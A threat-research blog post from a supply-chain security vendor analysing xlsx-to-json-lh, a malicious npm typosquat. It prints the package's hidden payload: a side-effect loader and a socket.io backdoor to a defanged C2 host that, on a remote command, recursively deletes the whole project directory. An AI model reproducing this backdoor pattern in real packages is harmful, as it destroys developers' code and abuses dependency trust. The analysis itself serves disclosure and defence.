Malicious npm Package Wipes Codebases with Remote Trigger
A malicious npm typosquat uses remote commands to silently delete entire project directories after a single mistyped install.
Kush Pandya
May 30, 2025
One letter off, one entire project gone - could your next npm typo destroy your code?
Socket’s Threat Research Team discovered an npm supply chain attack involving typosquatting and remote code execution. The malicious package xlsx-to-json-lh typosquats the legitimate Excel-to-JSON converter xlsx-to-json-lc, differing by just one letter.
Published in February 2019, this package contains a hidden payload that establishes a persistent connection to a command and control (C2) server. When triggered, it can delete entire project directories without warning or recovery options. The package remained undetected on npm for six years before discovery. As of this writing, it remains live on the registry. We have formally petitioned for its removal. Notably, our research found that other packages published by the maintainer leonhard appear to be legitimate, non-malicious packages, suggesting this was a targeted attack rather than a broader campaign.
Socket's AI Scanner flagging the malicious package xlsx-to-json-lh as "Known malware"
The legitimate package xlsx-to-json-lc [~500k downloads] has served developers reliably since 2016, for converting Excel spreadsheets into JSON format. The attacker exploited this popularity by creating xlsx-to-json-lh, where the "lc" to "lh" substitution targets a single letter typing mistake.
Unlike crude malware that immediately breaks functionality, xlsx-to-json-lh uses a trojan horse approach. The package includes working Excel conversion code, allowing it to pass basic functionality tests while hiding its true purpose.
libs/index.js immediately loads the malicious payload:
var support = require('./support');// Loads malware as side effect
module.exports = support;// Initially exports malware
exports = module.exports = XLSX_json;// Overwrites with legitimate function
The malicious libs/support/index.js establishes a persistent WebSocket connection and waits for commands:
var io = require('socket.io-client');
var pathName = __dirname;
// Connect to attacker's C2 server
var socket = io.connect("https://informer-server[.]herokuapp[.]com", {
reconnection: true // Maintains persistent connection
});
socket.on('connect', function () {
socket.on('message', function (data) {
if(data.type == "remise à zéro"){ // French for "reset"
// Calculate project root by working backwards from current location
// Example: /home/user/my-project/node_modules/xlsx-to-json-lh/libs/support
var lastParts = pathName.split("node_modules")[0].split("/");
var lastPart2 = lastParts[lastParts.length - 3]; // Gets project folder name
// Build path to project root and destroy everything
var projectRoot = pathName.split(lastPart2)[0] + "/" + lastPart2;
rmDir(projectRoot); // Recursively deletes entire project
// Notify attacker of successful destruction
socket.emit('message', {type: "removed-successfully"});
}
});
});
No additional user interaction required, the malware activates immediately upon import and maintains a persistent connection, waiting silently for the destruction command.
The attack's true danger lies in its scalability. Consider a typical development environment:
/home/dev/projects/
├── client-website/ [infected with xlsx-to-json-lh]
├── internal-api/ [infected with xlsx-to-json-lh]
├── data-processor/ [infected with xlsx-to-json-lh]
└── mobile-backend/ [clean]
With one command from the attacker, three projects vanish simultaneously. For organizations with multiple developers, the impact multiplies 20 developers with 2-3 infected projects each means 40-60 codebases destroyed instantly.
The xlsx-to-json-lh attack demonstrates how typosquatting combined with trojan functionality creates devastating supply chain compromises. One mistyped character during package installation leads to complete project loss a solid reminder that in modern development, security is only as strong as your weakest dependency.
This attack illustrates severe consequences of supply chain vulnerabilities:
Instant Damage: Projects deleted with no warning or recovery
Trust Exploitation: Uses real author's reputation for credibility
Multiplier Effect: One package can destroy countless projects
This incident suggests concerning patterns that will likely shape future attacks:
Expect attackers to implement longer dormancy periods, potentially waiting months before activation to maximize infection spread, with future variants using time-based triggers or waiting for specific version updates before revealing malicious behavior.
Attackers have started moving beyond single Heroku instances to distributed command networks, using legitimate services like GitHub Gists, Pastebin, or even blockchain-based messaging to issue commands, making takedowns significantly more difficult.
Rather than wholesale deletion, advanced variants could selectively destroy or exfiltrate specific file types such as .env files, private keys, or source code while leaving the rest intact to avoid immediate detection.
The French command "remise à zéro" suggests regional targeting, and future attacks might use geolocation or system language settings to activate only in specific regions, evading researchers in other locations.
As package names become more complex, attackers will likely use AI to generate convincing typosquats that account for keyboard layouts, common developer typos, and phonetic similarities across languages.
Socket's security tools can help protect against these threats by analyzing package behaviors in real-time to detect dangerous patterns like those seen in this campaign. Our free GitHub app flags risks directly in pull requests, the CLI alerts during package installations, and our browser extension provides security insights on npm package pages helping developers identify potential supply chain threats before they enter your codebase.
North Korean threat actors linked to the Contagious Interview campaign return with 35 new malicious npm packages using a stealthy multi-stage malware loader.
The Socket Research Team investigates a malicious Python typosquat of a popular password library that forces Windows shutdowns when input is incorrect.